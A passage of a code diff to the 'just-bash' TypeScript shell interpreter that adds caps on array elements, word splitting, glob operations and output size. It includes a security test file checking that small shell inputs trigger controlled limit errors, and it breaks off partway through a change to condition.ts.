@@ -230,7 +231,12 @@ async function handleBraceExpansionResults(
       hasGlobPattern(value, ctx.state.shoptOptions.extglob)
     ) {
       const matches = await expandGlobPattern(ctx, value);
-      allValues.push(...matches);
+      appendBoundedElements(
+        allValues,
+        matches,
+        ctx.limits.maxArrayElements,
+        "brace/glob expansion",
+      );
     } else {
       allValues.push(value);
     }
@@ -772,7 +778,11 @@ async function expandMixedWordParts(
       if (ifsEmpty) {
         partWords.push(value ? [value] : []);
       } else {
-        const split = splitByIfsForExpansion(value, ifsChars);
+        const split = splitByIfsForExpansion(
+          value,
+          ifsChars,
+          ctx.limits.maxArrayElements,
+        );
         partWords.push(split);
       }
     } else {
@@ -780,7 +790,11 @@ async function expandMixedWordParts(
       if (ifsEmpty) {
         partWords.push(value ? [value] : []);
       } else {
-        const split = splitByIfsForExpansion(value, ifsChars);
+        const split = splitByIfsForExpansion(
+          value,
+          ifsChars,
+          ctx.limits.maxArrayElements,
+        );
         partWords.push(split);
       }
     }
@@ -794,7 +808,12 @@ async function expandMixedWordParts(
     }
 
     if (result.length === 0) {
-      result.push(...words);
+      appendBoundedElements(
+        result,
+        words,
+        ctx.limits.maxArrayElements,
+        "word expansion",
+      );
     } else {
       const lastIdx = result.length - 1;
       result[lastIdx] = result[lastIdx] + words[0];
@@ -822,7 +841,12 @@ async function applyGlobToValues(
   for (const v of values) {
     if (hasGlobPattern(v, ctx.state.shoptOptions.extglob)) {
       const matches = await expandGlobPattern(ctx, v);
-      expandedValues.push(...matches);
+      appendBoundedElements(
+        expandedValues,
+        matches,
+        ctx.limits.maxArrayElements,
+        "glob expansion",
+      );
     } else {
       expandedValues.push(v);
     }
@@ -845,6 +869,13 @@ async function expandGlobPattern(
     extglob: ctx.state.shoptOptions.extglob,
     globskipdots: ctx.state.shoptOptions.globskipdots,
     maxGlobOperations: ctx.limits.maxGlobOperations,
+    consumeOperation: () =>
+      ctx.executionScope.consumeLimited(
+        "glob_operations",
+        1,
+        ctx.limits.maxGlobOperations,
+        "glob expansion",
+      ),
   });
   const matches = await globExpander.expand(pattern);
   if (matches.length > 0) {
@@ -891,7 +922,11 @@ async function handleFinalGlobExpansion(
     const unescapedValue = unescapeGlobPattern(value);
     if (!isIfsEmpty(ctx.state.env)) {
       const ifsChars = getIfs(ctx.state.env);
-      const splitValues = splitByIfsForExpansion(unescapedValue, ifsChars);
+      const splitValues = splitByIfsForExpansion(
+        unescapedValue,
+        ifsChars,
+        ctx.limits.maxArrayElements,
+      );
       return { values: splitValues, quoted: false };
     }
     return { values: [unescapedValue], quoted: false };
@@ -920,7 +955,11 @@ async function handleFinalGlobExpansion(
     const unescapedValue = unescapeGlobPattern(value);
     if (!isIfsEmpty(ctx.state.env)) {
       const ifsChars = getIfs(ctx.state.env);
-      const splitValues = splitByIfsForExpansion(unescapedValue, ifsChars);
+      const splitValues = splitByIfsForExpansion(
+        unescapedValue,
+        ifsChars,
+        ctx.limits.maxArrayElements,
+      );
       return { values: splitValues, quoted: false };
     }
     return { values: [unescapedValue], quoted: false };
diff --git a/packages/just-bash/src/interpreter/expansion/word-split.ts b/packages/just-bash/src/interpreter/expansion/word-split.ts
index 113f390d..4c02da64 100644
--- a/packages/just-bash/src/interpreter/expansion/word-split.ts
+++ b/packages/just-bash/src/interpreter/expansion/word-split.ts
@@ -5,6 +5,7 @@
  */
 
 import type { ParameterExpansionPart, WordPart } from "../../ast/types.js";
+import { ExecutionLimitError } from "../errors.js";
 import { getVariable, isVariableSet } from "../expansion/variable.js";
 import { splitByIfsForExpansionEx } from "../helpers/ifs.js";
 import type { InterpreterContext } from "../types.js";
@@ -13,6 +14,20 @@ import {
   isOperationWordEntirelyQuoted,
 } from "./analysis.js";
 
+function pushSplitWord(
+  ctx: InterpreterContext,
+  words: string[],
+  value: string,
+): void {
+  if (words.length >= ctx.limits.maxArrayElements) {
+    throw new ExecutionLimitError(
+      `word splitting element limit exceeded (${ctx.limits.maxArrayElements})`,
+      "array_elements",
+    );
+  }
+  words.push(value);
+}
+
 /**
  * Type for the expandPart function that will be injected
  */
@@ -324,10 +339,10 @@ export async function smartWordSplit(
         if (segment.isQuoted && segment.value === "") {
           // Quoted empty after trailing IFS delimiter: push current word and an empty word
           if (currentWord !== "") {
-            words.push(currentWord);
+            pushSplitWord(ctx, words, currentWord);
           }
           // The quoted empty anchors an empty word
-          words.push("");
+          pushSplitWord(ctx, words, "");
           hasProducedWord = true;
           currentWord = "";
           pendingWordBreak = false;
@@ -335,7 +350,7 @@ export async function smartWordSplit(
         } else if (segment.value !== "") {
           // Non-empty content: push current word (if any) and start new word
           if (currentWord !== "") {
-            words.push(currentWord);
+            pushSplitWord(ctx, words, currentWord);
           }
           currentWord = segment.value;
           pendingWordBreak = false;
@@ -370,11 +385,11 @@ export async function smartWordSplit(
       } else {
         // Multiple results: first joins with current, middle are separate, last starts new
         currentWord += splitParts[0];
-        words.push(currentWord);
+        pushSplitWord(ctx, words, currentWord);
         hasProducedWord = true;
 
         for (let i = 1; i < splitParts.length - 1; i++) {
-          words.push(splitParts[i]);
+          pushSplitWord(ctx, words, splitParts[i]);
         }
 
         currentWord = splitParts[splitParts.length - 1];
@@ -388,12 +403,16 @@ export async function smartWordSplit(
         words: parts,
         hadLeadingDelimiter,
         hadTrailingDelimiter,
-      } = splitByIfsForExpansionEx(segment.value, ifsChars);
+      } = splitByIfsForExpansionEx(
+        segment.value,
+        ifsChars,
+        ctx.limits.maxArrayElements,
+      );
 
       // If the previous segment was a quoted empty and this splittable segment
       // has leading IFS delimiter, the quoted empty should anchor an empty word
       if (prevWasQuotedEmpty && hadLeadingDelimiter && currentWord === "") {
-        words.push("");
+        pushSplitWord(ctx, words, "");
         hasProducedWord = true;
       }
 
@@ -417,12 +436,12 @@ export async function smartWordSplit(
         // - Middle parts become separate words
         // - Last part starts the new current word
         currentWord += parts[0];
-        words.push(currentWord);
+        pushSplitWord(ctx, words, currentWord);
         hasProducedWord = true;
 
         // Add middle parts as separate words
         for (let i = 1; i < parts.length - 1; i++) {
-          words.push(parts[i]);
+          pushSplitWord(ctx, words, parts[i]);
         }
 
         // Last part becomes the new current word
@@ -440,10 +459,10 @@ export async function smartWordSplit(
   // - we haven't produced any words yet but we've had a split that produced content
   //   (this handles the case of IFS='_' and var='_' -> [""])
   if (currentWord !== "") {
-    words.push(currentWord);
+    pushSplitWord(ctx, words, currentWord);
   } else if (words.length === 0 && hasProducedWord) {
     // The only content was from a split that produced [""] (empty string)
-    words.push("");
+    pushSplitWord(ctx, words, "");
   }
 
   return words;
@@ -501,7 +520,7 @@ async function smartWordSplitWithUnquotedLiterals(
       // without creating an empty word in between
       if (pendingWordBreak && segment.value !== "") {
         if (currentWord !== "") {
-          words.push(currentWord);
+          pushSplitWord(ctx, words, currentWord);
         }
         currentWord = segment.value;
         pendingWordBreak = false;
@@ -515,7 +534,7 @@ async function smartWordSplitWithUnquotedLiterals(
       // If the segment starts with IFS and we have accumulated content,
       // finish the current word first
       if (startsWithIfsChar && currentWord !== "") {
-        words.push(currentWord);
+        pushSplitWord(ctx, words, currentWord);
         currentWord = "";
         hasProducedWord = true;
       }
@@ -524,6 +543,7 @@ async function smartWordSplitWithUnquotedLiterals(
       const { words: parts, hadTrailingDelimiter } = splitByIfsForExpansionEx(
         segment.value,
         ifsChars,
+        ctx.limits.maxArrayElements,
       );
 
       if (parts.length === 0) {
@@ -538,11 +558,11 @@ async function smartWordSplitWithUnquotedLiterals(
       } else {
         // Multiple results from split
         currentWord += parts[0];
-        words.push(currentWord);
+        pushSplitWord(ctx, words, currentWord);
         hasProducedWord = true;
 
         for (let i = 1; i < parts.length - 1; i++) {
-          words.push(parts[i]);
+          pushSplitWord(ctx, words, parts[i]);
         }
 
         currentWord = parts[parts.length - 1];
@@ -552,9 +572,9 @@ async function smartWordSplitWithUnquotedLiterals(
   }
 
   if (currentWord !== "") {
-    words.push(currentWord);
+    pushSplitWord(ctx, words, currentWord);
   } else if (words.length === 0 && hasProducedWord) {
-    words.push("");
+    pushSplitWord(ctx, words, "");
   }
 
   return words;
diff --git a/packages/just-bash/src/interpreter/followup-resource-limits.security.test.ts b/packages/just-bash/src/interpreter/followup-resource-limits.security.test.ts
new file mode 100644
index 00000000..df935eae
--- /dev/null
+++ b/packages/just-bash/src/interpreter/followup-resource-limits.security.test.ts
@@ -0,0 +1,265 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../Bash.js";
+import { defineCommand } from "../custom-commands.js";
+import { utf8ByteLength } from "../encoding.js";
+import { ExecutionLimitError } from "./errors.js";
+
+describe("DeepSec follow-up interpreter resource limits", () => {
+  it("bounds cumulative literal and expanded argv cardinality", async () => {
+    const bash = new Bash({ executionLimits: { maxArrayElements: 2 } });
+    const result = await bash.exec(": one two three");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain(
+      "expanded argument element limit exceeded (2)",
+    );
+
+    const injected = await new Bash({
+      executionLimits: { maxArrayElements: 1 },
+    }).exec(":", { args: ["one", "two"] });
+    expect(injected.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(injected.stderr).toContain(
+      "expanded argument element limit exceeded (1)",
+    );
+  });
+
+  it("charges the command boundary below, at, and above the limit", async () => {
+    const bash = new Bash({ executionLimits: { maxCommandCount: 2 } });
+
+    expect((await bash.exec(":")).exitCode).toBe(0);
+    expect((await bash.exec(": && :")).exitCode).toBe(0);
+    const above = await bash.exec(": && : && :");
+    expect(above.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(above.stderr).toContain("too many commands executed");
+  });
+
+  it("bounds quoted readonly parsing before mutation", async () => {
+    const bash = new Bash({ executionLimits: { maxArrayElements: 2 } });
+    const result = await bash.exec("builtin readonly 'items=(a b c)'");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("array element limit exceeded (2)");
+    expect((await bash.exec("declare -p items 2>/dev/null")).stdout).toBe("");
+  });
+
+  it("bounds dynamically dispatched local array assignment and append", async () => {
+    const assignment = await new Bash({
+      executionLimits: { maxArrayElements: 2 },
+    }).exec("f() { builtin local 'items=(a b c)'; }; f");
+    expect(assignment.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(assignment.stderr).toContain("array element limit exceeded (2)");
+
+    const append = await new Bash({
+      executionLimits: { maxArrayElements: 2 },
+    }).exec("f() { local items=(a b); builtin local 'items+=(c)'; }; f");
+    expect(append.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(append.stderr).toContain("array element limit exceeded (2)");
+  });
+
+  it("rolls back an append that would exceed persistent cardinality", async () => {
+    const bash = new Bash({ executionLimits: { maxArrayElements: 2 } });
+    const result = await bash.exec("items=(old); items+=(new extra)");
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("array element limit exceeded (2)");
+  });
+
+  it("rejects negative mapfile origins", async () => {
+    const bash = new Bash();
+    const result = await bash.exec("printf 'a\\nb\\n' | mapfile -O -2 values");
+
+    expect(result.exitCode).toBe(1);
+    expect(result.stderr).toContain("invalid array origin");
+  });
+
+  it("enforces mapfile line bytes below, at, and above the limit", async () => {
+    for (const [value, allowed] of [
+      ["1234567", true],
+      ["12345678", true],
+      ["123456789", false],
+    ] as const) {
+      const bash = new Bash({
+        files: { "/f": value },
+        executionLimits: { maxStringLength: 8 },
+      });
+      const result = await bash.exec("mapfile a < /f");
+      expect(result.exitCode === 0).toBe(allowed);
+      if (!allowed) expect(result.stderr).toContain("string length limit");
+    }
+  });
+
+  it("enforces read value bytes from redirected input", async () => {
+    const bash = new Bash({
+      files: { "/f": "123456789" },
+      executionLimits: { maxStringLength: 8 },
+    });
+    const result = await bash.exec("read v < /f");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("read: string length limit exceeded");
+  });
+
+  it("bounds cumulative fields across separately split word segments", async () => {
+    const bash = new Bash({ executionLimits: { maxArrayElements: 3 } });
+    const result = await bash.exec(
+      "a='1 2'; b='3 4'; c='5 6'; printf '%s\\n' $a$b$c",
+    );
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain(
+      "word splitting element limit exceeded (3)",
+    );
+  });
+
+  it("bounds repeated completion actions before output construction", async () => {
+    const bash = new Bash({ executionLimits: { maxArrayElements: 30 } });
+    expect((await bash.exec("compgen -A keyword")).exitCode).toBe(0);
+
+    const result = await bash.exec("compgen -A keyword -A keyword");
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("completion element limit exceeded (30)");
+  });
+
+  it("bounds completion producers while preserving at-limit results", async () => {
+    const atLimit = await new Bash({
+      files: { "/aa": "", "/ab": "" },
+      executionLimits: { maxArrayElements: 2 },
+    }).exec("compgen -f a");
+    expect(atLimit).toMatchObject({
+      stdout: "aa\nab\n",
+      stderr: "",
+      exitCode: 0,
+    });
+
+    const aboveLimit = await new Bash({
+      files: { "/aa": "", "/ab": "", "/ac": "" },
+      executionLimits: { maxArrayElements: 2 },
+    }).exec("compgen -f a");
+    expect(aboveLimit.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(aboveLimit.stderr).toContain(
+      "completion element limit exceeded (2)",
+    );
+  });
+
+  it("shares one glob-operation budget across expanded words", async () => {
+    const bash = new Bash({
+      files: { "/d/a": "", "/d/b": "" },
+      executionLimits: { maxGlobOperations: 3 },
+    });
+    const result = await bash.exec("echo /d/* /d/*");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("glob_operations work limit exceeded (3)");
+  });
+
+  it("charges consumed pipeline intermediates before forwarding them", async () => {
+    const produce = defineCommand(
+      "produce",
+      async () => ({ stdout: "123456789", stderr: "", exitCode: 0 }),
+      { trusted: true },
+    );
+    const bash = new Bash({
+      customCommands: [produce],
+      executionLimits: { maxOutputSize: 8 },
+    });
+    const result = await bash.exec("produce | wc -c");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("pipeline: total output size exceeded");
+  });
+
+  it("does not mutate frozen empty results while accounting pipelines", async () => {
+    const result = await new Bash().exec(": | :");
+    expect(result).toMatchObject({ stdout: "", stderr: "", exitCode: 0 });
+  });
+
+  it("bounds ls output during collection", async () => {
+    const bash = new Bash({
+      files: { "/long-filename": "" },
+      executionLimits: { maxOutputSize: 8 },
+    });
+    const result = await bash.exec("ls /");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("ls: output size limit exceeded (8 bytes)");
+  });
+
+  it("fails brace accumulation prospectively instead of returning a prefix", async () => {
+    const bash = new Bash({
+      executionLimits: { maxBraceExpansionResults: 2 },
+    });
+    const result = await bash.exec("printf '%s\\n' {a,b,c}");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("brace expansion");
+  });
+
+  it("turns nested test expressions into a controlled depth failure", async () => {
+    const bash = new Bash({ executionLimits: { maxCallDepth: 3 } });
+    const result = await bash.exec("test ! ! ! ! value");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain(
+      "test expression: maximum depth (3) exceeded",
+    );
+  });
+
+  it("preflights dynamically supplied extglob nesting", async () => {
+    const bash = new Bash({ executionLimits: { maxCallDepth: 2 } });
+    const result = await bash.exec("compgen -X '@(@(@(x)))' -A keyword");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("extglob maximum depth (2) exceeded");
+  });
+
+  it("charges shortest suffix removal linearly", async () => {
+    const bash = new Bash({ executionLimits: { maxGlobOperations: 4 } });
+    const result = await bash.exec('value=aaaaa; echo "${value%z}"');
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("pattern-removal work limit exceeded (4)");
+  });
+
+  it("keeps realistic multi-kilobyte suffix removal compatible", async () => {
+    const value = "a".repeat(5_000);
+    const result = await new Bash().exec(`value=${value}; echo "\${value%a}"`);
+
+    expect(result.exitCode).toBe(0);
+    expect(result.stdout).toBe(`${"a".repeat(4_999)}\n`);
+  });
+
+  it("bounds variable-listing output before joining it", async () => {
+    const bash = new Bash({
+      env: { LONG_VALUE: "1234567890" },
+      executionLimits: { maxOutputSize: 8 },
+    });
+    const result = await bash.exec("set");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain(
+      "set: output size limit exceeded (8 bytes)",
+    );
+  });
+
+  it("preserves quoted set output exactly at the aggregate byte limit", async () => {
+    const env = { QUOTED: "a'b" };
+    const baseline = await new Bash({ env }).exec("set");
+    expect(baseline.exitCode).toBe(0);
+    expect(baseline.stdout).toContain("QUOTED='a'\\''b'\n");
+    const bytes = utf8ByteLength(baseline.stdout);
+
+    const atLimit = await new Bash({
+      env,
+      executionLimits: { maxOutputSize: bytes },
+    }).exec("set");
+    expect(atLimit).toEqual(baseline);
+
+    const aboveLimit = await new Bash({
+      env,
+      executionLimits: { maxOutputSize: bytes - 1 },
+    }).exec("set");
+    expect(aboveLimit.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(aboveLimit.stderr).toContain(
+      `set: output size limit exceeded (${bytes - 1} bytes)`,
+    );
+  });
+});
diff --git a/packages/just-bash/src/interpreter/functions.ts b/packages/just-bash/src/interpreter/functions.ts
index 3efac6e6..059aee31 100644
--- a/packages/just-bash/src/interpreter/functions.ts
+++ b/packages/just-bash/src/interpreter/functions.ts
@@ -16,9 +16,14 @@ import type { ExecResult } from "../types.js";
 import { clearLocalVarStackForScope } from "./builtins/variable-assignment.js";
 import { ExitError, ReturnError } from "./errors.js";
 import { expandWord } from "./expansion.js";
+import { cloneArray } from "./helpers/array.js";
 import { OK, result, throwExecutionLimit } from "./helpers/result.js";
 import { POSIX_SPECIAL_BUILTINS } from "./helpers/shell-constants.js";
-import { applyRedirections, preExpandRedirectTargets } from "./redirections.js";
+import {
+  applyRedirections,
+  type ExpandedRedirectTargets,
+  preExpandRedirectTargets,
+} from "./redirections.js";
 import type { InterpreterContext } from "./types.js";
 
 export function executeFunctionDef(
@@ -122,6 +127,8 @@ export async function callFunction(
   ctx.state.sourceStack.unshift(func.sourceFile ?? "main");
 
   ctx.state.localScopes.push(new Map());
+  ctx.state.localArrayScopes ??= [];
+  ctx.state.localArrayScopes.push(new Map());
 
   // Push a new set for tracking exports made in this scope
   if (!ctx.state.localExportedVars) {
@@ -130,20 +137,28 @@ export async function callFunction(
   ctx.state.localExportedVars.push(new Set());
 
   const savedPositional = new Map<string, string | undefined>();
-  for (let i = 0; i < args.length; i++) {
-    savedPositional.set(String(i + 1), ctx.state.env.get(String(i + 1)));
-    ctx.state.env.set(String(i + 1), args[i]);
+  const oldPositionalCount = Number.parseInt(ctx.state.env.get("#") ?? "0", 10);
+  const positionalExtent = Math.max(args.length, oldPositionalCount);
+  for (let i = 0; i < positionalExtent; i++) {
+    const key = String(i + 1);
+    savedPositional.set(key, ctx.state.env.get(key));
+    if (i < args.length) ctx.state.env.set(key, args[i]);
+    else ctx.state.env.delete(key);
   }
   savedPositional.set("@", ctx.state.env.get("@"));
   savedPositional.set("#", ctx.state.env.get("#"));
   ctx.state.env.set("@", args.join(" "));
   ctx.state.env.set("#", String(args.length));
 
+  let cleaned = false;
   const cleanup = (): void => {
+    if (cleaned) return;
+    cleaned = true;
     // Get the scope index before popping (for localVarStack cleanup)
     const scopeIndex = ctx.state.localScopes.length - 1;
 
     const localScope = ctx.state.localScopes.pop();
+    const localArrayScope = ctx.state.localArrayScopes?.pop();
     if (localScope) {
       for (const [varName, originalValue] of localScope) {
         if (originalValue === undefined) {
@@ -153,6 +168,23 @@ export async function callFunction(
         }
       }
     }
+    if (localArrayScope) {
+      ctx.state.arrays ??= new Map();
+      for (const [name, original] of localArrayScope) {
+        if (original === undefined) {
+          ctx.state.arrays.delete(name);
+          ctx.state.associativeArrays?.delete(name);
+        } else {
+          ctx.state.arrays.set(name, cloneArray(original));
+          ctx.state.associativeArrays ??= new Set();
+          if (original.kind === "associative") {
+            ctx.state.associativeArrays.add(name);
+          } else {
+            ctx.state.associativeArrays.delete(name);
+          }
+        }
+      }
+    }
 
     // Clear any localVarStack entries for this scope
     clearLocalVarStackForScope(ctx, scopeIndex);
@@ -194,18 +226,17 @@ export async function callFunction(
     ctx.state.callDepth--;
   };
 
-  // Pre-expand redirect targets BEFORE executing the function body.
-  // This is critical because redirections like `fun() { echo $i; } > file$((i++))`
-  // must evaluate $((i++)) before the body runs, so the body sees the new value.
-  const { targets: preExpandedTargets, error: expandError } =
-    await preExpandRedirectTargets(ctx, func.redirections);
-
-  if (expandError) {
-    cleanup();
-    return result("", expandError, 1);
-  }
-
+  let preExpandedTargets: ExpandedRedirectTargets = new Map();
   try {
+    // Redirect expansion is part of the function frame and must be protected by
+    // the same finally cleanup as body execution.
+    const { targets, error: expandError } = await preExpandRedirectTargets(
+      ctx,
+      func.redirections,
+    );
+    preExpandedTargets = targets;
+    if (expandError) return result("", expandError, 1);
+
     // Process redirections on the function definition to get stdin
     // Only use redirection-based stdin if no pipeline stdin was passed
     const redirectionStdin = await processInputRedirections(
@@ -214,7 +245,6 @@ export async function callFunction(
     );
     const effectiveStdin = stdin || redirectionStdin;
     const execResult = await ctx.executeCommand(func.body, effectiveStdin);
-    cleanup();
     // Apply output redirections from the function definition using pre-expanded targets
     // e.g., fun() { echo hi; } 1>&2 should redirect output to stderr when called
     return applyRedirections(
@@ -224,7 +254,6 @@ export async function callFunction(
       preExpandedTargets,
     );
   } catch (error) {
-    cleanup();
     // Handle return statement - convert to normal exit with the specified code
     if (error instanceof ReturnError) {
       const returnResult = result(error.stdout, error.stderr, error.exitCode);
@@ -237,5 +266,7 @@ export async function callFunction(
       );
     }
     throw error;
+  } finally {
+    cleanup();
   }
 }
diff --git a/packages/just-bash/src/interpreter/helpers/array.ts b/packages/just-bash/src/interpreter/helpers/array.ts
index fc222216..7a1b2bd1 100644
--- a/packages/just-bash/src/interpreter/helpers/array.ts
+++ b/packages/just-bash/src/interpreter/helpers/array.ts
@@ -3,29 +3,145 @@
  */
 
 import type { WordNode } from "../../ast/types.js";
-import type { InterpreterContext } from "../types.js";
+import { utf8ByteLength } from "../../encoding.js";
+import { ExecutionLimitError } from "../errors.js";
+import type { InterpreterContext, ShellArray } from "../types.js";
+
+export function cloneArray(array: ShellArray): ShellArray {
+  return { kind: array.kind, elements: new Map(array.elements) };
+}
+
+export function cloneArrays(
+  arrays: Map<string, ShellArray> | undefined,
+): Map<string, ShellArray> {
+  return new Map(
+    Array.from(arrays ?? [], ([name, array]) => [name, cloneArray(array)]),
+  );
+}
+
+export function getArray(
+  ctx: InterpreterContext,
+  arrayName: string,
+): ShellArray | undefined {
+  return ctx.state.arrays?.get(arrayName);
+}
+
+export function ensureArray(
+  ctx: InterpreterContext,
+  arrayName: string,
+  kind: "indexed" | "associative" = "indexed",
+): ShellArray {
+  ctx.state.arrays ??= new Map();
+  let array = ctx.state.arrays.get(arrayName);
+  if (!array) {
+    array = { kind, elements: new Map() };
+    ctx.state.arrays.set(arrayName, array);
+  }
+  return array;
+}
+
+export function setArrayKind(
+  ctx: InterpreterContext,
+  arrayName: string,
+  kind: "indexed" | "associative",
+): ShellArray {
+  const array = ensureArray(ctx, arrayName, kind);
+  array.kind = kind;
+  return array;
+}
+
+export function hasArray(ctx: InterpreterContext, arrayName: string): boolean {
+  return ctx.state.arrays?.has(arrayName) ?? false;
+}
+
+export function getArrayElement(
+  ctx: InterpreterContext,
+  arrayName: string,
+  key: string | number,
+): string | undefined {
+  return getArray(ctx, arrayName)?.elements.get(String(key));
+}
+
+export function hasArrayElement(
+  ctx: InterpreterContext,
+  arrayName: string,
+  key: string | number,
+): boolean {
+  return getArray(ctx, arrayName)?.elements.has(String(key)) ?? false;
+}
+
+export function setArrayElement(
+  ctx: InterpreterContext,
+  arrayName: string,
+  key: string | number,
+  value: string,
+  kind?: "indexed" | "associative",
+): void {
+  const array = ensureArray(ctx, arrayName, kind);
+  const normalizedKey = String(key);
+  if (
+    !array.elements.has(normalizedKey) &&
+    array.elements.size >= ctx.limits.maxArrayElements
+  ) {
+    throw new ExecutionLimitError(
+      `array element limit exceeded (${ctx.limits.maxArrayElements})`,
+      "array_elements",
+    );
+  }
+  if (utf8ByteLength(value) > ctx.limits.maxStringLength) {
+    throw new ExecutionLimitError(
+      `array value string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+      "string_length",
+    );
+  }
+  array.elements.set(normalizedKey, value);
+}
+
+/** Prove a batch of distinct keys fits before any persistent mutation. */
+export function assertArrayKeysFit(
+  ctx: InterpreterContext,
+  arrayName: string,
+  keys: Iterable<string | number>,
+  replace = false,
+): void {
+  const prospective = new Set<string>(
+    replace ? [] : (getArray(ctx, arrayName)?.elements.keys() ?? []),
+  );
+  for (const key of keys) {
+    prospective.add(String(key));
+    if (prospective.size > ctx.limits.maxArrayElements) {
+      throw new ExecutionLimitError(
+        `array element limit exceeded (${ctx.limits.maxArrayElements})`,
+        "array_elements",
+      );
+    }
+  }
+}
+
+export function deleteArrayElement(
+  ctx: InterpreterContext,
+  arrayName: string,
+  key: string | number,
+): boolean {
+  return getArray(ctx, arrayName)?.elements.delete(String(key)) ?? false;
+}
+
+export function deleteArray(ctx: InterpreterContext, arrayName: string): void {
+  ctx.state.arrays?.delete(arrayName);
+  ctx.state.associativeArrays?.delete(arrayName);
+}
 
 /**
  * Get all indices of an array, sorted in ascending order.
- * Arrays are stored as `name_0`, `name_1`, etc. in the environment.
+ * Indexed arrays are held in dedicated structured interpreter state.
  */
 export function getArrayIndices(
   ctx: InterpreterContext,
   arrayName: string,
 ): number[] {
-  const prefix = `${arrayName}_`;
-  const indices: number[] = [];
-
-  for (const key of ctx.state.env.keys()) {
-    if (key.startsWith(prefix)) {
-      const indexStr = key.slice(prefix.length);
-      const index = Number.parseInt(indexStr, 10);
-      // Only include numeric indices (not __length or other metadata)
-      if (!Number.isNaN(index) && String(index) === indexStr) {
-        indices.push(index);
-      }
-    }
-  }
+  const indices = Array.from(getArray(ctx, arrayName)?.elements.keys() ?? [])
+    .filter((key) => /^(0|[1-9]\d*)$/.test(key))
+    .map(Number);
 
   return indices.sort((a, b) => a - b);
 }
@@ -34,43 +150,22 @@ export function getArrayIndices(
  * Clear all elements of an array from the environment.
  */
 export function clearArray(ctx: InterpreterContext, arrayName: string): void {
-  const prefix = `${arrayName}_`;
-  for (const key of ctx.state.env.keys()) {
-    if (key.startsWith(prefix)) {
-      ctx.state.env.delete(key);
-    }
-  }
+  ensureArray(
+    ctx,
+    arrayName,
+    ctx.state.associativeArrays?.has(arrayName) ? "associative" : "indexed",
+  ).elements.clear();
 }
 
 /**
  * Get all keys of an associative array.
- * For associative arrays, keys are stored as `name_key` where key is a string.
+ * Associative keys are retained exactly in the array element map.
  */
 export function getAssocArrayKeys(
   ctx: InterpreterContext,
   arrayName: string,
 ): string[] {
-  const prefix = `${arrayName}_`;
-  const metadataSuffix = `${arrayName}__length`;
-  const keys: string[] = [];
-
-  for (const envKey of ctx.state.env.keys()) {
-    // Skip the metadata entry (name__length)
-    if (envKey === metadataSuffix) {
-      continue;
-    }
-    if (envKey.startsWith(prefix)) {
-      const key = envKey.slice(prefix.length);
-      // Skip if the key itself starts with underscore (would be part of metadata pattern)
-      // This handles edge cases like name__foo where foo could be confused with metadata
-      if (key.startsWith("_length")) {
-        continue;
-      }
-      keys.push(key);
-    }
-  }
-
-  return keys.sort();
+  return Array.from(getArray(ctx, arrayName)?.elements.keys() ?? []).sort();
 }
 
 /**
diff --git a/packages/just-bash/src/interpreter/helpers/bounded-array.ts b/packages/just-bash/src/interpreter/helpers/bounded-array.ts
new file mode 100644
index 00000000..7c13ed8e
--- /dev/null
+++ b/packages/just-bash/src/interpreter/helpers/bounded-array.ts
@@ -0,0 +1,17 @@
+import { ExecutionLimitError } from "../errors.js";
+
+/** Append untrusted collections without argument spreading and with a cumulative cap. */
+export function appendBoundedElements<T>(
+  target: T[],
+  values: readonly T[],
+  maximum: number,
+  site: string,
+): void {
+  if (target.length > maximum - values.length) {
+    throw new ExecutionLimitError(
+      `${site} element limit exceeded (${maximum})`,
+      "array_elements",
+    );
+  }
+  for (const value of values) target.push(value);
+}
diff --git a/packages/just-bash/src/interpreter/helpers/condition.ts b/packages/just-bash/src/interpreter/helpers/condition.ts
index f7d95b8a..704ae922 100644
--- a/packages/just-bash/src/interpreter/helpers/condition.ts
+++ b/packages/just-bash/src/interpreter/helpers/condition.ts
@@ -6,13 +6,14 @@
  */
 
 import type { StatementNode } from "../../ast/types.js";
+import { ExecutionOutputAccumulator } from "../../execution-output.js";
+import type { ExecResult } from "../../types.js";
 import type { InterpreterContext } from "../types.js";
 
-export interface ConditionResult {
-  stdout: string;
-  stderr: string;
-  exitCode: number;
-}
+export type ConditionResult = Pick<
+  ExecResult,
+  "stdout" | "stderr" | "exitCode" | "internalOutputAccounting"
+>;
 
 /**
  * Execute condition statements with inCondition flag set.
@@ -29,20 +30,24 @@ export async function executeCondition(
   const savedInCondition = ctx.state.inCondition;
   ctx.state.inCondition = true;
 
-  let stdout = "";
-  let stderr = "";
+  const output = new ExecutionOutputAccumulator(
+    ctx.executionScope,
+    "condition",
+  );
   let exitCode = 0;
 
   try {
     for (const stmt of statements) {
       const result = await ctx.executeStatement(stmt);
-      stdout += result.stdout;
-      stderr += result.stderr;
+      output.appendResult(result);
